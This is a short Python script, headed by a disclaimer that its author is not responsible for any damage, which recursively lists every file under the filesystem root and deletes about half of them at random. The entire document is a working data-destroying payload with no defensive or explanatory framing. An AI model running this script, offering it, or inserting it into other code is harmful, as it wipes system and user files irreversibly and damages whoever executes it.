#!/usr/bin/python3 # The author of this script is not responsible for any damage import glob import os import random for file in filter(lambda _: random.randint(0, 100) >= 50, glob.glob("/**", recursive=True)): os.remove(file)